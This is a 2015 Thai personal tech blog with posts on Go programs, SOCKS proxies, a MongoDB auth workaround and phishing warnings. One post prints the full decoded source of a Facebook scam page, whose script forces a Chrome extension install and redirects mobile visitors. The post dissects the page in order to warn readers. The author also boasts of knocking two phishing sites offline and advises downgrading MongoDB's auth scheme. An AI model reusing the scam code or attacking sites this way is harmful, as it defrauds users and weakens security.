วันเสาร์ที่ 5 กันยายน พ.ศ. 2558

เรด้าน้ำฝนบน Google Map

ช่วงนี้มือถือผมพังเลยไปใช้ Samsung Hero เครื่องเก่าของแม่ผม แล้วช่วงนี้ฝนดันตกบ่อย จะออกจากที่ทำงานกลับบ้านปรกติผมจะตรวจเรด้าน้ำฝนกับ app TVIS ก่อนประจำจะได้วางแผนการเดินทางได้ว่าจะกลับบ้านทางไหนดี


TVIS เท่าที่ลองหาๆมาน่าจะเป็น app เดียวที่ map เรด้าน้ำฝนเข้ากับ Google  map ของกรมอุตุฯ ก็ไม่ยอม map ดูยากมากเลย



ในระหว่างที่ 3Gs คู่ชีพยังไม่ฟื้น ช่วงนี้ก็เลขเขียน web ให้มันทำหน้าที่เหมือน TVIS ในส่วนของเรด้าน้ำฝนเอาไว้ใช้เองซะเลย ใครสนใจลองเข้าไปใช้ได้นะครับที่

http://www.conf.in.th/map.html


ส่วนภาพเคลื่อนไหวเข้าไปดูได้ที่ URL

http://www.conf.in.th/map1.html


ข้อมูล Update ทุกๆ 5 นาทีนะครับไม่อยาก update ถี่มากเกรงใจเว็บกรมอุตุเค้า

วันพุธที่ 24 มิถุนายน พ.ศ. 2558

Download & Read Manga via Golang

เวลาอ่านกาตูน Online ผมอ่านอยู่ไม่กี่เว็บผมเลยเขียน program สำหรับ ดูด กาตูนเหล่านั้นมาลงไว้ที่เครื่องแล้วค่อยอ่านทีหลัง https://github.com/neverlock/Mangafox
แต่ดูดมาก็เป็นภาระ ต้องมาหาโปรแกรมเปิดอ่าน ปรกติแล้วผมใช้ Ehon ผมว่าตัวนี้เป็นตัวอ่าน manga บน MAC ที่ดูดีที่สุดละ แต่บางทีก็ขี้เกียจเปิดมันเพราะต้อง Import Dir รูปเข้าไปให้มันก่อน



จากความรำคาญเลยเขียน golang web service สำหรับอ่านกาตูนอีกตัว โดย hack net/http ใน function ที่ทำงาน serv static file เอามาแสดงผลให้แสดง tag img เพื่อ แสดงรูปซะเลย

ใน function main เขียนแค่ บรรทัดเดียว



package main

import (
        "log"
        "github.com/neverlock/manga_net/http"
)


func main() {
        log.Println("Service at :8080")
        log.Fatal(http.ListenAndServe(":8080", http.FileServer(http.Dir("./"))))
}

สั่ง go get github.com/neverlock/manga_net/http
จากนั้นสั่ง go build
แล้วเอา binary ที่ได้ไปวางไว้ใน Dir ที่ load manga มาไว้แล้วสั่ง run แล้วเปิดดูที่ web browser ได้เลย

การแสดงผลจะเหมือนกับการ serv static file แต่ถ้าใน Dir มีรูปมันจะแสดงรูปแทนที่จะเป็น link 



วันอังคารที่ 2 มิถุนายน พ.ศ. 2558

golang SOCKS5 server

ไหนๆวันนี้ก็เขียนเรื่อง go SOCKS client ไปแล้วเขียนเรืองทำ SOCKS server ด้วย go ไปเลยดีกว่าเพราะเห็น Bright มากด like ให้ด้วยเห็นวันก่อนถามเรื่องทำ SOCKS server นิ

package main

import "github.com/armon/go-socks5"

func main(){
conf := &socks5.Config{}
server, err := socks5.New(conf)
if err != nil {
  panic(err)
}

// Create SOCKS5 proxy on localhost port 8000
if err := server.ListenAndServe("tcp", "127.0.0.1:8000"); err != nil {
  panic(err)
        }
}

lib ตัวนี้เป็น SOCKS5 อย่างเดียวเวลา connect ให้ตั้ง type เป็น SOCKS5 ด้วยนะเวลาจะทดสอบ


ตามรูปตัวอย่างบรรทัดด้านบนเป็นการลองส่ง  request จาก client ที่ set SOCKS 4 มาจะเห็นว่า connect ไม่ได้ ถ้า set ถูกจะเห็นตามบรรทัดล่างๆคือ มีการส่งข้อมูลไปกลับระหว่าตัว client กับ target 
แค่นี้ยังไม่พอเรามา hack เพิ่มอีกนิดหน่อยดีกว่า จริงๆผมอยาก print log มากกว่านี้แต่ ไปอ่านdoc มันแล้วไม่มี function พวกนี้เลย เรามาเขียน ความสามารถที่เราอยากได้เพิ่มให้กับ lib มันเลยดีกว่า
โดยเข้าไปแก้ file ที่อยู่ใน path src/github.com/armon/go-socks5/request.go
หรือถ้าต้องการ monitor อะไรเพิ่มเติมก็ไปเขียน hook เพิ่มเอาได้เลย


func (s *Server) handleConnect(conn conn, bufConn io.Reader, dest, realDest *AddrSpec) error {
        // Check if this is allowed
        client := conn.RemoteAddr().(*net.TCPAddr)
        if !s.config.Rules.AllowConnect(realDest.IP, realDest.Port, client.IP, client.Port) {
                if err := sendReply(conn, ruleFailure, nil); err != nil {
                        return fmt.Errorf("Failed to send reply: %v", err)
                }
                return fmt.Errorf("Connect to %v blocked by rules", dest)
        }

        // Attempt to connect
        addr := net.TCPAddr{IP: realDest.IP, Port: realDest.Port}
        target, err := net.DialTCP("tcp", nil, &addr)
        if err != nil {
                msg := err.Error()
                resp := hostUnreachable
                if strings.Contains(msg, "refused") {
                        resp = connectionRefused
                } else if strings.Contains(msg, "network is unreachable") {
                        resp = networkUnreachable
                }
                if err := sendReply(conn, resp, nil); err != nil {
                        return fmt.Errorf("Failed to send reply: %v", err)
                }
                return fmt.Errorf("Connect to %v failed: %v", dest, err)
        }
        defer target.Close()

        // Send success
        local := target.LocalAddr().(*net.TCPAddr)
        bind := AddrSpec{IP: local.IP, Port: local.Port}
        if err := sendReply(conn, successReply, &bind); err != nil {
                return fmt.Errorf("Failed to send reply: %v", err)
        }

        // Start proxying
        errCh := make(chan error, 2)
        go proxy("target", target, bufConn, errCh,realDest.IP)
        go proxy("client", conn, target, errCh,local.IP)

        // Wait
        select {
        case e := <-errCh:
                return e
        }
}

function handleConnection เพิ่งตรงให้ go routine เรียก function โดยเพิ่มตัวแปร IP เข้าไปด้วย


func proxy(name string, dst io.Writer, src io.Reader, errCh chan error,ip1 net.IP) {
        // Copy
        n, err := io.Copy(dst, src)

        // Log, and sleep. This is jank but allows the otherside
        // to finish a pending copy
        log.Printf("[DEBUG] socks: Copied %d bytes to %s[%v]", n, name,ip1)
        time.Sleep(10 * time.Millisecond)

        // Send any errors
        errCh <-err
}
และที่ function proxy ให้รับตัวแปรเพิ่มอีก 1 ตัวและ print log IP ออกมาแสดง
จะได้ผลตามนี้


แค่ code ไม่กี่บรรทัดก็ได้ SOCKS server แล้ว

gohls SOCKS client

วันนี้จะโหลดหนังกับ HLS ผ่าน tsocks บน linux แต่ tsocks ดันทำงานไม่ได้ บน ubuntu 15.04 ไม่รู้เป็นเพราะอะไร สั่ง tsocks command แล้วมันไม่ยอมออก socks เลยแก้ปัญหาด้วยการเขียนให้ตัว โหลด HLS มันใช้ socks ได้ด้วยตัวมันเองซะเลย

ตัว HLS download ใช้ตัวเดิมคือ https://github.com/kz26/gohls

ตัว SOCKS lib ใช้ https://github.com/hailiang/socks

แก้ code main.go ของ gohls ตามนี้



package main

import "flag"
import "fmt"
import "io"
import "net/http"
import "net/url"
import "log"
import "os"
import "time"
import "github.com/golang/groupcache/lru"
import "strings"
import "github.com/kz26/m3u8"
import "h12.me/socks"

const VERSION = "1.0.5"

var USER_AGENT string

var dialSocksProxy = socks.DialSocksProxy(socks.SOCKS5, "127.0.0.1:1080")
var tr = &http.Transport{Dial: dialSocksProxy}
var client = &http.Client{Transport: tr}

func doRequest(c *http.Client, req *http.Request) (*http.Response, error) {
        req.Header.Set("User-Agent", USER_AGENT)
        resp, err := c.Do(req)
        return resp, err
}
แค่นี้เราก็สามารถใช้ socks ในโปรแกรมเราได้แล้ว
ส่วนสำคัญคือแก้ code เพิ่ม 4 บรรทัดนี้

import "h12.me/socks"
var dialSocksProxy = socks.DialSocksProxy(socks.SOCKS5, "127.0.0.1:1080")
var tr = &http.Transport{Dial: dialSocksProxy}
var client = &http.Client{Transport: tr}

วันเสาร์ที่ 30 พฤษภาคม พ.ศ. 2558

Cordova + Polymer = cool Mobile app

วันนี้นั่งหาจังหวะลอง เอา  cordova + polymer มาพยายามทำ android app เล่นสักตัว นั่งทำตั้งแต่เช้า ทำๆหยุดๆเพราะทำตอนว่างๆ compile ติดแก้ไม่ได้งงอยู่นานมาก หาวิธีแก้ตั้งนานกว่าจะหาเจอว่าเป็นเพราะอะไร เขียน blog ทิ้งไว้ก่อนดีกว่าเดี๋ยวลืม

blog นี้เป็นการสร้าง android app จากการใช้ cordova + polymer โดยใช้ blog ต่างประเทศอ้างอิง 2 blog คือ
https://blog.nraboy.com/2014/07/use-polymer-apache-cordova/
http://k33g.github.io/2014/08/09/POLYMER-MOB-PAPER.html

blog แรกจะเป็นการ set ให้ cordova ใช้งานร่วมกับ polymer
blog ที่ 2 จะเป็นการแก้ code polymer สำหรับทำหน้าเว็บ

แต่เมื่อทำเสร็จแล้ว จะ compile ไม่ผ่านต้องแก้ตามนี้

ใน root directory ของ project จะต้องแก้ file config.xml เพิ่ม platform เข้าไปดังนี้
    <platform name="android">

    </platform>

ใน directory ของ polymer ที่เก็บ www/js/vendors/web-animations-js/www/js/vendors/web-animations-js.gz จะต้อง gunzip มันออกมาก่อน ไม่งั้นจะ compile ไม่ผ่าน


cordova + polymer + genymotion (free editon)

เมื่อลองกับ device ที่จอเล็กลง แถบด้านข้าง จะหดกลับไปเป็น menu แบบ auto ด้วยข้อดีของ web component


วันพฤหัสบดีที่ 21 พฤษภาคม พ.ศ. 2558

วิธีใช้ mongodb3.0 กับ golang

ปรกติแล้วเวลาเขียน  go ต่อกับ mongodb ผมจะใช้ lib ตัวนี้คือ

        "gopkg.in/mgo.v2"

        "gopkg.in/mgo.v2/bson"

วันนี้ลองใช้กับ mongodb 3.0.3 มัน auth ไม่ผ่านขึ้นมาประมาณนี้

server returned error on SASL authentication step: Authentication failed.

ไปค้นๆดูเจอปัญหาและวิธีแก้ดังนี้
ปัญหาเกิดจากรูปแบบการ auth ของ mongodb 3.0 เปลี่ยนจาก version เก่าใน ตัวแปร authSchema  ใช้เป็น version 5 ตัว auth ของ lib ที่ใช้อยู่จะใช้ได้กับ version 3 โดยเราสามารถแก้ได้ดังนี้

login mongo โดยใช้ admin user หรือไปเป็น noauth ใน config file แล้ว start mongodb แล้วค่อยสั่ง mongo

> db.system.version.find()
{ "_id" : "authSchema", "currentVersion" : 5 }

จะเห็นว่าเป็น version 5 อยู่ให้ใช้คำสั่งดังนี้

> db.system.version.update({ "_id" : "authSchema"},{$set: {"currentVersion" : 3} })
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
> db.system.version.find()
{ "_id" : "authSchema", "currentVersion" : 3 }

แค่นี้เราก็สามารถใช้ golang กับ mongodb version 3 ได้แล้ว
ใครแก้ config file เป็น noauth ก็อย่าลืมแก้กลับก่อนด้วยหละเดี๋ยวจะหาว่าไม่เตือน

วันพฤหัสบดีที่ 2 เมษายน พ.ศ. 2558

icloud phishing

เรื่อง icloud phishing นี้เจอบ่อยนะครับ ตอนต้นปีก็เจอกระทู้นี้ใน pantip
http://pantip.com/topic/33143001


และวันนี้ก็เจออีกกระทู้
http://pantip.com/topic/33456598

phishing site ทั้ง 2 กระทู้โดนผมส่ง hallscool ไปให้ตายเรียบ LOL

อยากจะแนะนำให้คนที่ iPhone โดนขโมยหรือทำหายไป อย่าไป login icloud จาก link ที่มาจาก SMS ,E-Mail โดยเด็ดขาด ทางที่ดี พิมพ์เองเลย https://www.icloud.com
มองที่หัว cert ด้วยว่าเป็นของ apple จริงๆ แล้วค่อยกด login


วันพุธที่ 1 เมษายน พ.ศ. 2558

พึงระวัง Link ล่อลวงต่างๆใน internet

วัน 2 วันมานี้เห็นหน้า timeline  facebook มีคน post อะไรแปลกๆอีกแล้วประมาณว่ารูป vdo โป้แต่ url ดันมาจาก dropbox เลยลองแกะๆดูหน่อยว่าเป็นไง


มัน link ไปหา dropbox จริงๆครับแต่มันจะทำ link เป็น https://www.dropbox.com/s/z12b1j3augfdwgv/havifegedofelevudipe.html?raw=1 ซึ่งการส่งค่า raw=1 เข้าไปจะทำให้ dropbox exe html file (ถ้าเราตัด ?raw=1 จะเป็นหน้า download file) เมื่อดุใน source code จะเจอว่ามีแค่ บรรทัดเดียวคือ redirect ไปหาอีกเว็บ

<meta http-equiv="refresh" content="0;url=http://032zl6p.s3.amazonaws.com/index.html?add"/>

Loader


และเมื่อเราตามไปที่เว็บนั้นจะเจอหน้าเว็บที่ผู้ใช้ facebook กด link ไปแล้วเจอ


เป็นหน้า facebook หลอกที่ทำเป็นว่ามี vdo รอให้กด เมื่อเข้าไปดู source code ของหน้านี้จะพบว่าเข้ารหัสไว้



ซึ่งเป็นการเข้ารหัสง่ายๆด้วยคำสั่ง unescape เฉยๆ แกะง่ายๆโดนไปหาเว็บ online decode เอาผมลองใช้เว็บ http://www.utilities-online.info/urlencode/#.VRvArWSqqko แกะดูได้ source ตามนี้


  <html xmlns="http://www.w3.org/1999/xhtml" prefix="og: http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">
    <head profile="http://gmpg.org/xfn/11">
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <script>
  var okkkkk = "amokjilhfcgjcbbbihfbpbacbfdedehp";
            new Image().src = "http://whos.amung.us/widget/danielpr1.png";
            (function(a, b) {
                if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0, 4))) window.location = b
            })(navigator.userAgent || navigator.vendor || window.opera, 'http://mobileredirect.net/?affilysismedia');
        </script>
        <title>Facebook - Video Special - facebook.com</title>
        <link rel="stylesheet" href="./index_files/style.css" type="text/css" media="screen">
        <script src="//code.jquery.com/jquery-1.7.2.min.js"></script>
        <link rel="shortcut icon" href="https://fbstatic-a.akamaihd.net/rsrc.php/yl/r/H3nktOa7ZMg.ico">
    </head>

       <script>
        document.write('<link rel="chrome-webstore-item" href="https://chrome.google.com/webstore/detail/' + okkkkk + '">');
    </script>
    <body onclick="chromex();">
        <div id="fb-root"></div>
        <div id="header">
            <div id="bar"></div>
        </div>
        <div id="main">
            <div id="contenido">
                <div id="contenido-bg"></div>
                <div id="titulo">Facebook - Video Special - facebook.com</div>
                <!-- #### VIDEO ### -->
                <div class="youtubeblocker" style="width:500px;height:300px;background:#000000;">
                    <div class="image" style="background-image: url('../wp-content/uploads/2014/07/fgfdgpl.jpg')"></div>
                    <div class="play-button"></div>
                    <div class="controlls">
                        <div class="left-controlls"></div>
                        <div class="right-controlls"></div>
                    </div>
                    <div class="overlay"></div>
                    <div class="sharebox"></div>
                </div>
                <!-- #### VIDEO ### -->
                <div id="titulo-bottom">
<a href="http://global.affilysis.com/directclick/?aid=27215&uid=1388"><img src="http://www.affilysis.com/dsg.gif"></a>                </div>
                <div id="fb-root"></div>
                <fb:comments href="http://v2.vidsawesome.com/?videos=pierde-la-virginidad-video-regazza-perdere-la-verginita-molto-duro" num_posts="10" width="500"></fb:comments>
            </div>
            <div id="sidebar">
                <div id="sidebar-bg"></div>
            </div>
        </div>
  <div id="undeContinue" style="background: #000; height: 100%; opacity: 0.5; position: fixed; width: 100%; z-index: 99; top: 0; left: 0; display: none;"></div>
<div id="continue" style="background: no-repeat center; width: 379px; height: 76px; position: fixed; left: 50%; top: 305px; margin-left: -190px; display: none; z-index: 100;"></div>
  <script type="text/javascript">
            $(document).ready(function() {
                $('.youtubeblocker').click(function() {
                    chromex();
                });
            });
   var addBox = document.getElementById('continue');
        var anderBox = document.getElementById('undeContinue');
        var pathByLang = {
            'ar': 'ar',
            'de': 'de',
            'en': 'en',
            'hi': 'hi',
            'id': 'id',
            'it': 'it',
            'ja': 'ja',
            'nl': 'nl',
            'fa': 'pe',
            'pt': 'pt',
            'th': 'th',
            'fi': 'tl',
            'tr': 'tr',
            'vi': 'vi'
            };
        var userLang = navigator.language || navigator.userLanguage;
        var langKey = userLang.substr(0, 2);

        switch (pathByLang[langKey]) {
            case 'hi':
            addBox.style.top = '450px';
            break;
            case 'ja':
            addBox.style.top = '330px';
            break;
            case undefined:
            langKey = 'en';
            break;
            }
        addBox.style.backgroundImage = "".concat('url("http://lp.ilividnewtab.com/images/chrome_extension/',pathByLang[langKey],'/ilividnewtab-continue.png")');

function chromex() {
                chrome.webstore.install('https://chrome.google.com/webstore/detail/' + okkkkk + '', function() {
                    document.getElementsByTagName("body")[0].setAttribute("style", "background-color: #6ee552;");
                    new Image().src = "http://whos.amung.us/widget/danile0x2.png";
                    titulo.innerHTML = " Thx For Your Setup, Setup Successfully. Please Wait 3 Seconds, Video Starting...";
                    alert('Thx For Your Setup, Setup Successfully. \r\n Please Wait 3 Seconds, Video Starting.');
                    location.href = "http://goo.gl/Rz4YM0";
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #f9f9f9;");', 500);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #6ee552;");', 1000);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #f9f9f9;");', 1500);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #6ee552;");', 2000);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #f9f9f9;");', 2500);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #6ee552;");', 3000);
                    setTimeout('window.close();', 4000);
     setTimeout('anderBox.style.display = "none"', 500);
                setTimeout('addBox.style.display = "none";', 1000);
                }, function(err) {
                    document.getElementsByTagName("body")[0].setAttribute("style", "background-color: red;");
                    titulo.innerHTML = "Ooopps ! you canceled setup, Please add Add Player Add Button...";
                    alert('Ooopps ! you canceled setup, Please add Add Player Add Button...');
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #f9f9f9;");', 500);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: red;");', 1000);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #f9f9f9;");', 1500);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: red;");', 2000);
                    setTimeout('document.getElementsByTagName("body")[0].setAttribute("style","background-color: #f9f9f9;");', 2500);
     setTimeout('anderBox.style.display = "none"', 500);
                setTimeout('addBox.style.display = "none";', 1000);
                });
    setTimeout('anderBox.style.display = "block"', 500);
                setTimeout('addBox.style.display = "block";', 1000);
            }
        </script>

    </body>

</html>


หลักๆก็น่าจะเป็นหลอกให้กดเพื่อเก็บ token ของเรา และ auto share + tag ให้เพื่อนเราเห็นมากที่สุดกระจายตัวไปเรื่อยๆ ใครที่เป็น link อะไรแปลกๆที่ไม่น่าจะปรากฏใน facebook ก็อย่าไปกดเลยครับ อย่างอันนี้ link vdo แต่ url มาจาก dropbox ซึ่งน่าแปลกมาก มันเอา url dropbox มารับหน้าให้ดูน่าเชื่อถือแล้ว redirect ไปหา url เว็บของตัวเอง

วันอาทิตย์ที่ 22 มีนาคม พ.ศ. 2558

Simple Form post with Golang

วันนี้ขอนำเสนอวิธีการ ส่ง HTTP request เรื่องการ post form การ post form นั้นจะมีการส่งค่าตรงแปรต่างๆเข้าไปด้วย ในภาษา Go นั้น package net/http มี function PostForm ให้เราใช้ได้ง่ายๆเลย
ตัวอย่างง่ายๆตามนี้เลย


package main

import ("net/http"
        "log"
        "net/url"
        "fmt"
        )

func main()  {

 postUrl := "https://www.somesite.com/login"

 values := make(url.Values)

 values.Set("user", "neverlock")
 values.Set("pwd", "password")

 // Submit form
 resp, err := http.PostForm(postUrl, values)
 if err != nil {
         log.Fatal(err)
 }
 fmt.Printf("[%d] %s\n",i,resp.Status)
 defer resp.Body.Close()

}

สำหรับวิธีง่ายๆในการที่จะหาว่า มีค่าอะไรบ้างที่จะต้องส่งไปในการ post form แต่ละครั้งก็ให้ใช้ chrome หรือ firefox แล้วเปิด developer tool ขึ้นมาจากนั้น post form ไปเลยเพื่อดูว่ามันส่งอะไรมั่งจะได้ไม่ต้องไปเสียเวลานั่งไล่ code html ดูในส่วนของ Form Data ได้เลยว่า formpost นั้นๆส่งค่าอะไรไปบ้าง


วันเสาร์ที่ 14 มีนาคม พ.ศ. 2558

หาตำบลจาก lat long

วันก่อนเห็นมีคนเอาข้อมูลจาก opendata จาก http://data.go.th/  มาใช้งานวันนี้ผมลองเขียน api สำหรับบอกข้อมูลว่า ณ. location ที่เราอยู่เราอยู่ใกล้ตำบลอะไร จังหวัดอะไร ส่งข้อมูลเป็น lat long ที่เป็นเลขฐาน 10
ไปลองทดลองใช้กันได้ครับที่ http://api.conf.in.th:8081/distance?lat1=100.1&lon1=30.2


วันศุกร์ที่ 13 มีนาคม พ.ศ. 2558

วิเคราะห์ Virus auto post บน facebook

เมื่อกี้เห็นมีคน post อะไรแปลกๆบน facebook ผมเลยลองแกะไล่ดูว่ามันเกิดอะไรขึ้น

จากรูปจะเห็นได้ว่า app นี้คน post ไม่ได้ post ด้วยตัวเอง เป็นการ post ผ่าน app ที่ชื่อ "BlackBerry Samrthphone App" เมื่อลองกดเข้าไปดูในหน้า app นั้นจะเห็นว่า app นั้นไม่มีอะไรเลย

เป็นหน้า app เปล่าๆ
ผมลองเสี่ยงตายกดไปที่รูป(ไม่ได้สนใจเนื้อหา vdo จริง จริ๊ง) แล้วมันจะ redirect เราไปอีกเว็บหนึ่งแทน และเมื่อเราลอง monitor ดูว่ามันส่งข้อมูลเราไปไหนบ้างจะเห็นว่า

มันไปเรียก server ของ app ที่ domain http://l3s26vtpgb9.f.giaybansi.vn ซึ่งเอาว่าเป็นของคนเวียดนาม
จากนั้นดูว่า domain นี้ IP อะไรเพื่อที่ลองหาดูว่า เค้าตั้ง server ไว้ที่ไหน
ปรากฏว่าเค้าไปเช่า Digital Ocean อยู่

แนวทางแก้ปัญหา

ผมลองหาทาง report app นี้เองมัน report ไม่ได้เพราะคนที่จะ report ได้มันจะต้องเป็นคนที่ใช้ app นั้นๆอยู่ โดยเข้าไป report ตามกระบวนการนี้
ฉะนั้นต้องเป็นหูเป็นตาช่วยกันถ้าเห็นเพื่อน post อะไรแปลกๆก็บอกเพื่อนเลยครับว่าให้ไป  report app มัน มันจะได้โดน facebook ban app มัน

สาเหตุการเกิดหละ?

เกิดได้หลายสาเหตุเดายากเหมือนกัน อาจจะเกิดจากการ click link ประหลาดๆ แต่ถ้าให้ผมเดาน่าจะเปิดจากการใช้ app บน mobile  ที่มันแปลกๆ แล้ว app มันขอ permission ในการ post หน้า facebook ของเรา ฉะนั้นถ้าเจอ app อะไรขอ permission เกี่ยวกับ facebook ให้ตรวจสอบให้ดีก่อนเปิดใช้นะครับ


วันพฤหัสบดีที่ 12 มีนาคม พ.ศ. 2558

Free geoip api service

เมื่อกี้ไปเจอคนในกลุ่ม go Thailand dev post เกี่ยวกับ go project ที่ปล่อย api geoip เห็นน่าสนใจดีเลยลองตั้ง service ดูใช้งานง่ายดีไม่มีอะไรยุ่งยากร้องขอ output ได้ 3 แบบคือ json,xml และ csv 

http://geoip.conf.in.th:8080/json/
http://geoip.conf.in.th:8080/xml/
http://geoip.conf.in.th:8080/csv/

วิธีการด้านบนจะเป็นการถาม IP ตัวเองแต่ถ้าอยากจะระบุหา IP อื่นก็ใช้แบบนี้

http://geoip.conf.in.th:8080/json/8.8.8.8

ใครสนใจ project นี้ตามไปอ่าน code ได้ที่ 

https://github.com/fiorix/freegeoip

สำหรับความแม่นยำนั้นก็อยู่ในระดับของฟรี ผมเข้าไปตรวจสอบดูละประเทศไทยความแม่นยำในระดับ 50KM อยู่ที่ 28% เอง (ตัว GeoIP2 City ที่เป็น 60% นั้นมันของเสียเงินซื้อครับ )

 

ถ้าเป็น IP เมกาจะค่อนข้างแม่นคือประมาณ 71%


วันอังคารที่ 10 มีนาคม พ.ศ. 2558

Golang simple web service

Go lang เป็นภาษาที่เหมาะสำหรับทำ web service มาก code ที่สั่ง start web server แค่ บรรทัดเดียวก็ทำได้ละ (บรรทัดอื่นๆเป็นการ controll route ที่จะวิ่งเข้าที่ server)
จริงๆแล้วการกำหนด route สามารถเขียนเองใน go โดยไม่ต้อง import อะไรพิเศษได้แต่ส่วนตัวแล้วผมชอบ lib ของ github.com/gorilla/mux code นี้จะเป็น code ง่ายๆที่ return ค่า "Hello world" ออกมาถ้าเราเข้าเว็บ http://localhost:8080/hello


go get github.com/gorilla/mux


package main

import (
        "fmt"
        "net/http"
        "github.com/gorilla/mux"
)

func main() {
        rtr := mux.NewRouter()
        rtr.HandleFunc("/hello",sayHi).Methods("GET")
        http.Handle("/", rtr)
        bind := ":8080"
        fmt.Printf("listening on %s...\n", bind)
        http.ListenAndServe(bind, nil)

}

func sayHi (w http.ResponseWriter, r *http.Request){
        str:="Hello world"
        w.Write([]byte (str))
}

Blogger Custom URL Error code bX-??????

เมื่อคืนจะเข้าไปปรับ URL ของ blogger หน่อยปรับยังไงก็ปรับไม่ได้ มันเด้งบอกว่า เรา logout จากอีกที่แถมขึ้น Error เวลาเข้าไปที่หน้า setting ด้วย


ลอง Debug ใน dev mode ดูเห็น internal error code 500 จาก server google เลย


search ดูใน forum support ของ blogger เองก็มีคนเจอปัญหานี้เยอะเหมือนกันแต่ยังไม่เห็นมีคนมาตอบปัญหาให้เลย คงต้องรอกันต่อไป T_T

EDIT:
บ่ายๆของวันที่เขียน blog นี้10 มี.ค. 2558 ระบบ set DNS ใช้งานได้แล้ว

วันจันทร์ที่ 9 มีนาคม พ.ศ. 2558

การทำ code syntax hight light บน Blog หรือเว็บ

เมื่อคืนนั่งลองหา css ที่ทำเกี่ยวกับ code syntax hight light บน blog เห็นมีอยู่หลายตัวแต่ลองแล้วชอบใจก็มี Prettyfy ที่อยู่ใน https://code.google.com/p/google-code-prettify/wiki/GettingStarted วิธีการใช้งานก็ง่ายๆ


<html>
<head>
<script src="https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js"></script>;
</head>
<body>
.
.
<pre class="prettyprint">
.
.
</pre>
.
.
</body>
</html>

ทั้งยังสามารถเปลียน skin ได้หลายแบบตามนี้

Default
<script src="https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js">

Desert
<script src="https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=desert">


Sunburst
<script src="https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sunburst">

Sons-Of-Obsidian
<script src="https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=suns-ofobsidian">

Doxy
<script src="https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=doxy">


การกำหนดสีของ syntax
 เราสามารถเปลี่ยนสี hight light ตามภาษาที่เขียนได้เปลี่ยนได้หลายภาษาโดยใน class "prettyprint" ของ tag pre ให้เพิ่ม lang-xxx ภาษาเข้าไป โดยlist ของภาษาที่สนับสนุนตามนี้เลย
<pre class="prettyprint lang-css">
.
.
</pre>

การใส่เลขบรรทัด
<pre class="prettyprint linenums">
.
.
</pre>

วันอาทิตย์ที่ 8 มีนาคม พ.ศ. 2558

Golang Concat variables
